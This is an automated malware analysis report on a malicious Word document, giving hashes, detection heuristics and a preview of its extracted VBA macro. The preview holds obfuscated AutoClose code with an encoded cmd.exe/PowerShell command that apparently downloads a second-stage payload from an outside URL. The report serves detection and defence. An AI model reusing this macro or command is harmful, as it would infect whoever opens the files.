Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 98ada84db5dd248e…

MALICIOUS

Office (OLE)

261.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 11364e7a69932f8459ff9003bb886e0e SHA-1: c5d800c0260badd149d8077bd46e3075f863989c SHA-256: 98ada84db5dd248e9fe33ac561541bbdbeb9aff1b091faaa42d5f598fea1c846
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell

The sample is a malicious Office document containing VBA macros. The AutoClose macro is present and the heuristics indicate suspicious cmd.exe invocation and references within the VBA code. This suggests the macro is intended to execute commands on the system, likely to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6708348-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6708348-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    javuHOmEmusyIHohapSEvEQYxYaagAF(3) = VarType(javuHOmEmusyIHohapSEvEQYxYaagAF)
    cegIbIQEPESyVOwuwixYHocoBEhoqOmiAFiAWAbulA = "cmd.exe /c " + Chr(40 * 2) + "^o^W^e^r^" + Chr(100 + 10 + 5) + "^h^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^3^A^H^U^A^e^Q^B^k^A^G^8^A^c^Q^B^z^A^G^o"
    Dim VUMEkuaykAXFYLWeGeDARuSYfApANid(4)
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Const VeGAqYtoKYjiLEmUaaFeanceDy = 0
    Sub AutoClose()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 147057 bytes
SHA-256: f50a2dc828f433feb9d62aa4a87c29523902969088645bede4d811be5cbf4af0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const VeGAqYtoKYjiLEmUaaFeanceDy = 0
Sub AutoClose()
On Error Resume Next
Dim ZaheTAzGOrYQUflqeVAxiKedAsIqexIDUwynA(4)
If "muJidaviSOPI" <> CStr("muJidaviSOPI9538") Then
   ZaheTAzGOrYQUflqeVAxiKedAsIqexIDUwynA(0) = VarType(VarType(VarType("muJidaviSOPI")))
End If
ZaheTAzGOrYQUflqeVAxiKedAsIqexIDUwynA(1) = CInt(CStr("#9538"))
VarType muJidaviSOPI
VarType ZaheTAzGOrYQUflqeVAxiKedAsIqexIDUwynA
If LenB(ZaheTAzGOrYQUflqeVAxiKedAsIqexIDUwynA(1)) > 11 Then
  ZaheTAzGOrYQUflqeVAxiKedAsIqexIDUwynA(2) = Weekday(95381)
End If
ZaheTAzGOrYQUflqeVAxiKedAsIqexIDUwynA(3) = VarType(ZaheTAzGOrYQUflqeVAxiKedAsIqexIDUwynA)
Dim pUrOKynyPaHYJodYvUzViXwIGOFYSueaICewyva(4)
Dim nURiWUQoNYQXUxihOMUHXaixyLEqoGYpoK(4)
If "WOHujIgIpuTENUDAdI" <> CStr("WOHujIgIpuTENUDAdI6172") Then
   nURiWUQoNYQXUxihOMUHXaixyLEqoGYpoK(0) = VarType(VarType(VarType("WOHujIgIpuTENUDAdI")))
End If
nURiWUQoNYQXUxihOMUHXaixyLEqoGYpoK(1) = CInt(CStr("#6172"))
VarType WOHujIgIpuTENUDAdI
VarType nURiWUQoNYQXUxihOMUHXaixyLEqoGYpoK
If LenB(nURiWUQoNYQXUxihOMUHXaixyLEqoGYpoK(1)) > 12 Then
  nURiWUQoNYQXUxihOMUHXaixyLEqoGYpoK(2) = Weekday(617210)
End If
nURiWUQoNYQXUxihOMUHXaixyLEqoGYpoK(3) = VarType(nURiWUQoNYQXUxihOMUHXaixyLEqoGYpoK)
If "mUQUlEBamiJeDiF" <> CStr("mUQUlEBamiJeDiF2741") Then
   pUrOKynyPaHYJodYvUzViXwIGOFYSueaICewyva(0) = VarType(VarType(VarType("mUQUlEBamiJeDiF")))
End If
Dim ZiWYludiRuPgoVatAjQuLIbmUHYJySOJESuseVijYl(4)
If "wUXAZAgitaemxAlIlAFOiI" <> CStr("wUXAZAgitaemxAlIlAFOiI8520") Then
   ZiWYludiRuPgoVatAjQuLIbmUHYJySOJESuseVijYl(0) = VarType(VarType(VarType("wUXAZAgitaemxAlIlAFOiI")))
End If
ZiWYludiRuPgoVatAjQuLIbmUHYJySOJESuseVijYl(1) = CInt(CStr("#8520"))
VarType wUXAZAgitaemxAlIlAFOiI
VarType ZiWYludiRuPgoVatAjQuLIbmUHYJySOJESuseVijYl
If LenB(ZiWYludiRuPgoVatAjQuLIbmUHYJySOJESuseVijYl(1)) > 11 Then
  ZiWYludiRuPgoVatAjQuLIbmUHYJySOJESuseVijYl(2) = Weekday(85208)
End If
ZiWYludiRuPgoVatAjQuLIbmUHYJySOJESuseVijYl(3) = VarType(ZiWYludiRuPgoVatAjQuLIbmUHYJySOJESuseVijYl)
Dim aiWAxOVUsEaevuJIniJOhUiUvfOMyNOte(4)
If "ZuNunepobix" <> CStr("ZuNunepobix5372") Then
   aiWAxOVUsEaevuJIniJOhUiUvfOMyNOte(0) = VarType(VarType(VarType("ZuNunepobix")))
End If
aiWAxOVUsEaevuJIniJOhUiUvfOMyNOte(1) = CInt(CStr("#5372"))
VarType ZuNunepobix
VarType aiWAxOVUsEaevuJIniJOhUiUvfOMyNOte
If LenB(aiWAxOVUsEaevuJIniJOhUiUvfOMyNOte(1)) > 10 Then
  aiWAxOVUsEaevuJIniJOhUiUvfOMyNOte(2) = Weekday(53728)
End If
aiWAxOVUsEaevuJIniJOhUiUvfOMyNOte(3) = VarType(aiWAxOVUsEaevuJIniJOhUiUvfOMyNOte)
pUrOKynyPaHYJodYvUzViXwIGOFYSueaICewyva(1) = CInt(CStr("#2741"))
Dim DWuWURIJuiumytigurakBOXIjYvLocAXopEgatah(4)
If "RUxYkakIZIx" <> CStr("RUxYkakIZIx3256") Then
   DWuWURIJuiumytigurakBOXIjYvLocAXopEgatah(0) = VarType(VarType(VarType("RUxYkakIZIx")))
End If
DWuWURIJuiumytigurakBOXIjYvLocAXopEgatah(1) = CInt(CStr("#3256"))
VarType RUxYkakIZIx
VarType DWuWURIJuiumytigurakBOXIjYvLocAXopEgatah
If LenB(DWuWURIJuiumytigurakBOXIjYvLocAXopEgatah(1)) > 12 Then
  DWuWURIJuiumytigurakBOXIjYvLocAXopEgatah(2) = Weekday(32566)
End If
DWuWURIJuiumytigurakBOXIjYvLocAXopEgatah(3) = VarType(DWuWURIJuiumytigurakBOXIjYvLocAXopEgatah)
Dim WabBIbatoRucInarlYNaOaEcoaYKelEUPOh(4)
If "fANYpiTicUWOLAsu" <> CStr("fANYpiTicUWOLAsu7829") Then
   WabBIbatoRucInarlYNaOaEcoaYKelEUPOh(0) = VarType(VarType(VarType("fANYpiTicUWOLAsu")))
End If
WabBIbatoRucInarlYNaOaEcoaYKelEUPOh(1) = CInt(CStr("#7829"))
VarType fANYpiTicUWOLAsu
VarType WabBIbatoRucInarlYNaOaEcoaYKelEUPOh
If LenB(WabBIbatoRucInarlYNaOaEcoaYKelEUPOh(1)) > 10 Then
  WabBIbatoRucInarlYNaOaEcoaYKelEUPOh(2) = Weekday(78294)
End If
WabBIbatoRucInarlYNaOaEcoaYKelEUPOh(3) = VarType(WabBIbatoRucInarlYNaOaEcoaYKelEUPOh)
VarType mUQUlEBamiJeDiF
Dim zoFYfIHIqIfwiPoheiaNypaQEwiJof(4)
If "XeraiAlveVEwEi" <> CStr("XeraiAlveVEwEi4578") Then
   zoFYfIHIqIfwiPoheiaNypaQEwiJof(0) = VarType(VarType(VarType("XeraiAlveVEwEi")))
End If
zoFYfIHIqIfwiPoheiaNypaQEwiJof(1) = CInt(CStr("#4578"))
VarType XeraiAlveVEwEi
VarType zoFYfIHIqIfwiPoheiaNypaQEwiJof
If LenB(zoFYfIHIqIfwiPoheiaNypaQEwiJof(1)) > 11 Then
  zoFYfIHIqIfwiPoheiaNypaQEwiJof(2) = Weekday(45786)
End If
zoFYfIHIqIfwiPoheiaNypaQEwiJof(3) = VarType(zoFYfIHIqIfwiPoheiaNypaQEwiJof)
Dim wUJiZUtIQUVuQAQINuJeFiwOBe(4)
If "jYGaRyDUZYfMEzBYzyNyM" <> CStr("jYGaRyDUZYfMEzBYzyNyM1786") Then
   wUJiZUtIQUVuQAQINuJeFiwOBe(0) = VarType(VarType(VarType("jYGaRyDUZYfMEzBYzyNyM")))
End If
wUJiZUtIQUVuQAQINuJeFiwOBe(1) = CInt(CStr("#1786"))
VarType jYGaRyDUZYfMEzBYzyNyM
VarType wUJiZUtIQUVuQAQINuJeFiwOBe
If LenB(wUJiZUtIQUVuQAQINuJeFiwOBe(1)) > 11 Then
  wUJiZUtIQUVuQAQINuJeFiwOBe(2) = Weekday(17861)
End If
wUJiZUtIQUVuQAQINuJeFiwOBe(3) = VarType(wUJiZUtIQUVuQAQINuJeFiwOBe)
VarType pUrOKynyPaHYJodYvUzViXwIGOFYSueaICewyva
Dim HYMOQUbIJOwFaPykEXAayRIxUwFAmEkYvY(4)
If "VuZugEfISaFA" <> CStr("VuZugEfISaFA185") Then
   HYMOQUbIJOwFaPykEXAayRIxUwFAmEkYvY(0) = VarType(VarType(VarType("VuZugEfISaFA")))
End If
HYMOQUbIJOwFaPykEXAayRIxUwFAmEkYvY(1) = CInt(CStr("#185"))
VarType VuZugEfISaFA
VarType HYMOQUbIJOwFaPykEXAayRIxUwFAmEkYvY
If LenB(HYMOQUbIJOwFaPykEXAayRIxUwFAmEkYvY(1)) > 10 Then
  HYMOQUbIJOwFaPykEXAayRIxUwFAmEkYvY(2) = Weekday(1859)
End If
HYMOQUbIJOwFaPykEXAayRIxUwFAmEkYvY(3) = VarType(HYMOQUbIJOwFaPykEXAayRIxUwFAmEkYvY)
If LenB(pUrOKynyPaHYJodYvUzViXwIGOFYSueaICewyva(1)) > 12 Then
  pUrOKynyPaHYJodYvUzViXwIGOFYSueaICewyva(2) = Weekday(27415)
Dim XAwizeVaHocogOElEiiucOmIcePySoxIsArUTEhYa(4)
If "wirEdEiyjOLE" <> CStr("wirEdEiyjOLE7487") Then
   XAwizeVaHocogOElEiiucOmIcePySoxIsArUTEhYa(0) = VarType(VarType(VarType("wirEdEiyjOLE")))
End If
XAwizeVaHocogOElEiiucOmIcePySoxIsArUTEhYa(1) = CInt(CStr("#7487"))
VarType wirEdEiyjOLE
VarType XAwizeVaHocogOElEiiucOmIcePySoxIsArUTEhYa
If LenB(XAwizeVaHocogOElEiiucOmIcePySoxIsArUTEhYa(1)) > 11 Then
  XAwizeVaHocogOElEiiucOmIcePySoxIsArUTEhYa(2) = Weekday(74874)
End If
XAwizeVaHocogOElEiiucOmIcePySoxIsArUTEhYa(3) = VarType(XAwizeVaHocogOElEiiucOmIcePySoxIsArUTEhYa)
End If
Dim jepSASAbYdVARyTyGaiuKAZOOf(4)
If "JilIqBiLefiI" <> CStr("JilIqBiLefiI8633") Then
   jepSASAbYdVARyTyGaiuKAZOOf(0) = VarType(VarType(VarType("JilIqBiLefiI")))
End If
jepSASAbYdVARyTyGaiuKAZOOf(1) = CInt(CStr("#8633"))
VarType JilIqBiLefiI
VarType jepSASAbYdVARyTyGaiuKAZOOf
If LenB(jepSASAbYdVARyTyGaiuKAZOOf(1)) > 11 Then
  jepSASAbYdVARyTyGaiuKAZOOf(2) = Weekday(86336)
End If
jepSASAbYdVARyTyGaiuKAZOOf(3) = VarType(jepSASAbYdVARyTyGaiuKAZOOf)
pUrOKynyPaHYJodYvUzViXwIGOFYSueaICewyva(3) = VarType(pUrOKynyPaHYJodYvUzViXwIGOFYSueaICewyva)
Dim XUYaEsOWOzuSOGNIGiMORIQoauhOQeH(4)
If "TaHugYjUREFypEjE" <> CStr("TaHugYjUREFypEjE4455") Then
   XUYaEsOWOzuSOGNIGiMORIQoauhOQeH(0) = VarType(VarType(VarType("TaHugYjUREFypEjE")))
End If
XUYaEsOWOzuSOGNIGiMORIQoauhOQeH(1) = CInt(CStr("#4455"))
VarType TaHugYjUREFypEjE
VarType XUYaEsOWOzuSOGNIGiMORIQoauhOQeH
If LenB(XUYaEsOWOzuSOGNIGiMORIQoauhOQeH(1)) > 11 Then
  XUYaEsOWOzuSOGNIGiMORIQoauhOQeH(2) = Weekday(44559)
End If
XUYaEsOWOzuSOGNIGiMORIQoauhOQeH(3) = VarType(XUYaEsOWOzuSOGNIGiMORIQoauhOQeH)
Dim CeQejeOgicYJObUnpOgcIpuNAPykIguDYmIkju(4)
If "caNGADIfoazi" <> CStr("caNGADIfoazi9370") Then
Dim MaqiFAviXAdUKisExALOZInoNAXYZOiy(4)
If "XypAZnyKAMUj" <> CStr("XypAZnyKAMUj9864") Then
   MaqiFAviXAdUKisExALOZInoNAXYZOiy(0) = VarType(VarType(VarType("XypAZnyKAMUj")))
End If
MaqiFAviXAdUKisExALOZInoNAXYZOiy(1) = CInt(CStr("#9864"))
VarType XypAZnyKAMUj
VarType MaqiFAviXAdUKisExALOZInoNAXYZOiy
If LenB(MaqiFAviXAdUKisExALOZInoNAXYZOiy(1)) > 10 Then
  MaqiFAviXAdUKisExALOZInoNAXYZOiy(2) = Weekday(98649)
End If
MaqiFAviXAdUKisExALOZInoNAXYZOiy(3) = VarType(MaqiFAviXAdUKisExALOZInoNAXYZOiy)
Dim hixAyNEruBameTyVIjoRalyXOzAiOMANAjEf(4)
If "TEhobAdiIfYOMUxa" <> CStr("TEhobAdiIfYOMUxa897") Then
   hixAyNEruBameTyVIjoRalyXOzAiOMANAjEf(0) = VarType(VarType(VarType("TEhobAdiIfYOMUxa")))
End If
hixAyNEruBameTyVIjoRalyXOzAiOMANAjEf(1) = CInt(CStr("#897"))
VarType TEhobAdiIfYOMUxa
VarType hixAyNEruBameTyVIjoRalyXOzAiOMANAjEf
If LenB(hixAyNEruBameTyVIjoRalyXOzAiOMANAjEf(1)) > 11 Then
  hixAyNEruBameTyVIjoRalyXOzAiOMANAjEf(2) = Weekday(8977)
End If
hixAyNEruBameTyVIjoRalyXOzAiOMANAjEf(3) = VarType(hixAyNEruBameTyVIjoRalyXOzAiOMANAjEf)
   CeQejeOgicYJObUnpOgcIpuNAPykIguDYmIkju(0) = VarType(VarType(VarType("caNGADIfoazi")))
End If
Dim TuaYzukanihuWuJOfuQdItOvAVUFNoGiVo(4)
If "SOfIKIdYCipYQYfuJ" <> CStr("SOfIKIdYCipYQYfuJ6555") Then
   TuaYzukanihuWuJOfuQdItOvAVUFNoGiVo(0) = VarType(VarType(VarType("SOfIKIdYCipYQYfuJ")))
End If
TuaYzukanihuWuJOfuQdItOvAVUFNoGiVo(1) = CInt(CStr("#6555"))
VarType SOfIKIdYCipYQYfuJ
VarType TuaYzukanihuWuJOfuQdItOvAVUFNoGiVo
If LenB(TuaYzukanihuWuJOfuQdItOvAVUFNoGiVo(1)) > 12 Then
  TuaYzukanihuWuJOfuQdItOvAVUFNoGiVo(2) = Weekday(655510)
End If
TuaYzukanihuWuJOfuQdItOvAVUFNoGiVo(3) = VarType(TuaYzukanihuWuJOfuQdItOvAVUFNoGiVo)
CeQejeOgicYJObUnpOgcIpuNAPykIguDYmIkju(1) = CInt(CStr("#9370"))
VarType caNGADIfoazi
Dim ryWEkEmupOCusyCiKexAtedExet(4)
If "qYfaxidITRe" <> CStr("qYfaxidITRe1540") Then
   ryWEkEmupOCusyCiKexAtedExet(0) = VarType(VarType(VarType("qYfaxidITRe")))
End If
ryWEkEmupOCusyCiKexAtedExet(1) = CInt(CStr("#1540"))
VarType qYfaxidITRe
VarType ryWEkEmupOCusyCiKexAtedExet
If LenB(ryWEkEmupOCusyCiKexAtedExet(1)) > 13 Then
  ryWEkEmupOCusyCiKexAtedExet(2) = Weekday(15404)
End If
ryWEkEmupOCusyCiKexAtedExet(3) = VarType(ryWEkEmupOCusyCiKexAtedExet)
Dim GaJyfimERuKuteFukysUmIWOVidykAXyb(4)
If "DezomozoSUD" <> CStr("DezomozoSUD949") Then
   GaJyfimERuKuteFukysUmIWOVidykAXyb(0) = VarType(VarType(VarType("DezomozoSUD")))
End If
GaJyfimERuKuteFukysUmIWOVidykAXyb(1) = CInt(CStr("#949"))
VarType DezomozoSUD
VarType GaJyfimERuKuteFukysUmIWOVidykAXyb
If LenB(GaJyfimERuKuteFukysUmIWOVidykAXyb(1)) > 11 Then
  GaJyfimERuKuteFukysUmIWOVidykAXyb(2) = Weekday(9493)
End If
GaJyfimERuKuteFukysUmIWOVidykAXyb(3) = VarType(GaJyfimERuKuteFukysUmIWOVidykAXyb)
VarType CeQejeOgicYJObUnpOgcIpuNAPykIguDYmIkju
Dim kumyzyKyaYLOlUbYQyXORYdyiajuSUiUbix(4)
If "HacoYreLoZyxyPIF" <> CStr("HacoYreLoZyxyPIF2714") Then
   kumyzyKyaYLOlUbYQyXORYdyiajuSUiUbix(0) = VarType(VarType(VarType("HacoYreLoZyxyPIF")))
End If
kumyzyKyaYLOlUbYQyXORYdyiajuSUiUbix(1) = CInt(CStr("#2714"))
VarType HacoYreLoZyxyPIF
VarType kumyzyKyaYLOlUbYQyXORYdyiajuSUiUbix
If LenB(kumyzyKyaYLOlUbYQyXORYdyiajuSUiUbix(1)) > 10 Then
  kumyzyKyaYLOlUbYQyXORYdyiajuSUiUbix(2) = Weekday(27143)
End If
kumyzyKyaYLOlUbYQyXORYdyiajuSUiUbix(3) = VarType(kumyzyKyaYLOlUbYQyXORYdyiajuSUiUbix)
If LenB(CeQejeOgicYJObUnpOgcIpuNAPykIguDYmIkju(1)) > 10 Then
Dim MeboqiNudYpOCEJizydOROHIwExOijAvohugEB(4)
If "voZacyFOofyfuRuM" <> CStr("voZacyFOofyfuRuM5174") Then
   MeboqiNudYpOCEJizydOROHIwExOijAvohugEB(0) = VarType(VarType(VarType("voZacyFOofyfuRuM")))
End If
MeboqiNudYpOCEJizydOROHIwExOijAvohugEB(1) = CInt(CStr("#5174"))
VarType voZacyFOofyfuRuM
VarType MeboqiNudYpOCEJizydOROHIwExOijAvohugEB
If LenB(MeboqiNudYpOCEJizydOROHIwExOijAvohugEB(1)) > 11 Then
  MeboqiNudYpOCEJizydOROHIwExOijAvohugEB(2) = Weekday(51741)
End If
MeboqiNudYpOCEJizydOROHIwExOijAvohugEB(3) = VarType(MeboqiNudYpOCEJizydOROHIwExOijAvohugEB)
  CeQejeOgicYJObUnpOgcIpuNAPykIguDYmIkju(2) = Weekday(93703)
End If
Dim PoZEVEzilEhywEaYmOgEKAluETSehyC(4)
If "GILlOravIvUbIzAXiBamaBa" <> CStr("GILlOravIvUbIzAXiBamaBa8192") Then
   PoZEVEzilEhywEaYmOgEKAluETSehyC(0) = VarType(VarType(VarType("GILlOravIvUbIzAXiBamaBa")))
End If
PoZEVEzilEhywEaYmOgEKAluETSehyC(1) = CInt(CStr("#8192"))
VarType GILlOravIvUbIzAXiBamaBa
VarType PoZEVEzilEhywEaYmOgEKAluETSehyC
If LenB(PoZEVEzilEhywEaYmOgEKAluETSehyC(1)) > 13 Then
  PoZEVEzilEhywEaYmOgEKAluETSehyC(2) = Weekday(819210)
End If
PoZEVEzilEhywEaYmOgEKAluETSehyC(3) = VarType(PoZEVEzilEhywEaYmOgEKAluETSehyC)
Dim NIkIVaOpyvYCOHZyluvYVivCE(4)
If "QETISajOdYhEFekYfAjYgemU" <> CStr("QETISajOdYhEFekYfAjYgemU5760") Then
   NIkIVaOpyvYCOHZyluvYVivCE(0) = VarType(VarType(VarType("QETISajOdYhEFekYfAjYgemU")))
End If
NIkIVaOpyvYCOHZyluvYVivCE(1) = CInt(CStr("#5760"))
VarType QETISajOdYhEFekYfAjYgemU
VarType NIkIVaOpyvYCOHZyluvYVivCE
If LenB(NIkIVaOpyvYCOHZyluvYVivCE(1)) > 13 Then
  NIkIVaOpyvYCOHZyluvYVivCE(2) = Weekday(57601)
End If
NIkIVaOpyvYCOHZyluvYVivCE(3) = VarType(NIkIVaOpyvYCOHZyluvYVivCE)
CeQejeOgicYJObUnpOgcIpuNAPykIguDYmIkju(3) = VarType(CeQejeOgicYJObUnpOgcIpuNAPykIguDYmIkju)
Dim DUNiKYkUQEheZaveCugyfEaaXOPefeT(4)
If "juKYsygIlLIFYNygiJuVY" <> CStr("juKYsygIlLIFYNygiJuVY3993") Then
   DUNiKYkUQEheZaveCugyfEaaXOPefeT(0) = VarType(VarType(VarType("juKYsygIlLIFYNygiJuVY")))
End If
DUNiKYkUQEheZaveCugyfEaaXOPefeT(1) = CInt(CStr("#3993"))
VarType juKYsygIlLIFYNygiJuVY
VarType DUNiKYkUQEheZaveCugyfEaaXOPefeT
If LenB(DUNiKYkUQEheZaveCugyfEaaXOPefeT(1)) > 12 Then
  DUNiKYkUQEheZaveCugyfEaaXOPefeT(2) = Weekday(39932)
End If
DUNiKYkUQEheZaveCugyfEaaXOPefeT(3) = VarType(DUNiKYkUQEheZaveCugyfEaaXOPefeT)
Dim javuHOmEmusyIHohapSEvEQYxYaagAF(4)
If "GHecAGEROgExEF" <> CStr("GHecAGEROgExEF2057") Then
   javuHOmEmusyIHohapSEvEQYxYaagAF(0) = VarType(VarType(VarType("GHecAGEROgExEF")))
End If
javuHOmEmusyIHohapSEvEQYxYaagAF(1) = CInt(CStr("#2057"))
VarType GHecAGEROgExEF
VarType javuHOmEmusyIHohapSEvEQYxYaagAF
If LenB(javuHOmEmusyIHohapSEvEQYxYaagAF(1)) > 10 Then
  javuHOmEmusyIHohapSEvEQYxYaagAF(2) = Weekday(20575)
End If
javuHOmEmusyIHohapSEvEQYxYaagAF(3) = VarType(javuHOmEmusyIHohapSEvEQYxYaagAF)
cegIbIQEPESyVOwuwixYHocoBEhoqOmiAFiAWAbulA = "cmd.exe /c " + Chr(40 * 2) + "^o^W^e^r^" + Chr(100 + 10 + 5) + "^h^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^3^A^H^U^A^e^Q^B^k^A^G^8^A^c^Q^B^z^A^G^o"
Dim VUMEkuaykAXFYLWeGeDARuSYfApANid(4)
Dim BoBzUvYivEMAwUCyfFEBUFOxUXOD(4)
If "vAqyMagexAQiPoKwo" <> CStr("vAqyMagexAQiPoKwo5266") Then
   BoBzUvYivEMAwUCyfFEBUFOxUXOD(0) = VarType(VarType(VarType("vAqyMagexAQiPoKwo")))
End If
BoBzUvYivEMAwUCyfFEBUFOxUXOD(1) = CInt(CStr("#5266"))
VarType vAqyMagexAQiPoKwo
VarType BoBzUvYivEMAwUCyfFEBUFOxUXOD
If LenB(BoBzUvYivEMAwUCyfFEBUFOxUXOD(1)) > 10 Then
  BoBzUvYivEMAwUCyfFEBUFOxUXOD(2) = Weekday(526610)
End If
BoBzUvYivEMAwUCyfFEBUFOxUXOD(3) = VarType(BoBzUvYivEMAwUCyfFEBUFOxUXOD)
If "WiAUhoHyhiGOm" <> CStr("WiAUhoHyhiGOm8053") Then
Dim zAgIlaTuvAHOPKECuzIsUmYQehIF(4)
If "qEnfemykEbYZUDOgE" <> CStr("qEnfemykEbYZUDOgE7685") Then
   zAgIlaTuvAHOPKECuzIsUmYQehIF(0) = VarType(VarType(VarType("qEnfemykEbYZUDOgE")))
End If
zAgIlaTuvAHOPKECuzIsUmYQehIF(1) = CInt(CStr("#7685"))
VarType qEnfemykEbYZUDOgE
VarType zAgIlaTuvAHOPKECuzIsUmYQehIF
If LenB(zAgIlaTuvAHOPKECuzIsUmYQehIF(1)) > 11 Then
  zAgIlaTuvAHOPKECuzIsUmYQehIF(2) = Weekday(768510)
End If
zAgIlaTuvAHOPKECuzIsUmYQehIF(3) = VarType(zAgIlaTuvAHOPKECuzIsUmYQehIF)
   VUMEkuaykAXFYLWeGeDARuSYfApANid(0) = VarType(VarType(VarType("WiAUhoHyhiGOm")))
Dim paxuNuhArIwIRaQAZUvBEJIrYpUKymOXyhO(4)
If "ceHOTofolaVeGoGagarUr" <> CStr("ceHOTofolaVeGoGagarUr8525") Then
   paxuNuhArIwIRaQAZUvBEJIrYpUKymOXyhO(0) = VarType(VarType(VarType("ceHOTofolaVeGoGagarUr")))
End If
paxuNuhArIwIRaQAZUvBEJIrYpUKymOXyhO(1) = CInt(CStr("#8525"))
VarType ceHOTofolaVeGoGagarUr
VarType paxuNuhArIwIRaQAZUvBEJIrYpUKymOXyhO
If LenB(paxuNuhArIwIRaQAZUvBEJIrYpUKymOXyhO(1)) > 12 Then
  paxuNuhArIwIRaQAZUvBEJIrYpUKymOXyhO(2) = Weekday(85259)
End If
paxuNuhArIwIRaQAZUvBEJIrYpUKymOXyhO(3) = VarType(paxuNuhArIwIRaQAZUvBEJIrYpUKymOXyhO)
Dim FEweCEAZezuHgyKAvEiJaDaSeHoMoPidyj(4)
If "zATaaEioRtYlIKux" <> CStr("zATaaEioRtYlIKux4614") Then
   FEweCEAZezuHgyKAvEiJaDaSeHoMoPidyj(0) = VarType(VarType(VarType("zATaaEioRtYlIKux")))
End If
FEweCEAZezuHgyKAvEiJaDaSeHoMoPidyj(1) = CInt(CStr("#4614"))
VarType zATaaEioRtYlIKux
VarType FEweCEAZezuHgyKAvEiJaDaSeHoMoPidyj
If LenB(FEweCEAZezuHgyKAvEiJaDaSeHoMoPidyj(1)) > 10 Then
  FEweCEAZezuHgyKAvEiJaDaSeHoMoPidyj(2) = Weekday(46149)
End If
FEweCEAZezuHgyKAvEiJaDaSeHoMoPidyj(3) = VarType(FEweCEAZezuHgyKAvEiJaDaSeHoMoPidyj)
End If
VUMEkuaykAXFYLWeGeDARuSYfApANid(1) = CInt(CStr("#8053"))
Dim cuFUrOBepiBupUhIMlOfuameLaqESyzegygETerY(4)
If "MykOpYgAQELaTUZolEk" <> CStr("MykOpYgAQELaTUZolEk5169") Then
   cuFUrOBepiBupUhIMlOfuameLaqESyzegygETerY(0) = VarType(VarType(VarType("MykOpYgAQELaTUZolEk")))
End If
cuFUrOBepiBupUhIMlOfuameLaqESyzegygETerY(1) = CInt(CStr("#5169"))
VarType MykOpYgAQELaTUZolEk
VarType cuFUrOBepiBupUhIMlOfuameLaqESyzegygETerY
If LenB(cuFUrOBepiBupUhIMlOfuameLaqESyzegygETerY(1)) > 11 Then
  cuFUrOBepiBupUhIMlOfuameLaqESyzegygETerY(2) = Weekday(51694)
End If
cuFUrOBepiBupUhIMlOfuameLaqESyzegygETerY(3) = VarType(cuFUrOBepiBupUhIMlOfuameLaqESyzegygETerY)
Dim bibEHEjOfYNaZalUGleQATyxetydulUR(4)
If "pIxyFohiVuxenUmjUhuwyco" <> CStr("pIxyFohiVuxenUmjUhuwyco6404") Then
   bibEHEjOfYNaZalUGleQATyxetydulUR(0) = VarType(VarType(VarType("pIxyFohiVuxenUmjUhuwyco")))
End If
bibEHEjOfYNaZalUGleQATyxetydulUR(1) = CInt(CStr("#6404"))
VarType pIxyFohiVuxenUmjUhuwyco
VarType bibEHEjOfYNaZalUGleQATyxetydulUR
If LenB(bibEHEjOfYNaZalUGleQATyxetydulUR(1)) > 13 Then
  bibEHEjOfYNaZalUGleQATyxetydulUR(2) = Weekday(64041)
End If
bibEHEjOfYNaZalUGleQATyxetydulUR(3) = VarType(bibEHEjOfYNaZalUGleQATyxetydulUR)
VarType WiAUhoHyhiGOm
Dim hOpeKevaFipeVtEquxOruLYS(4)
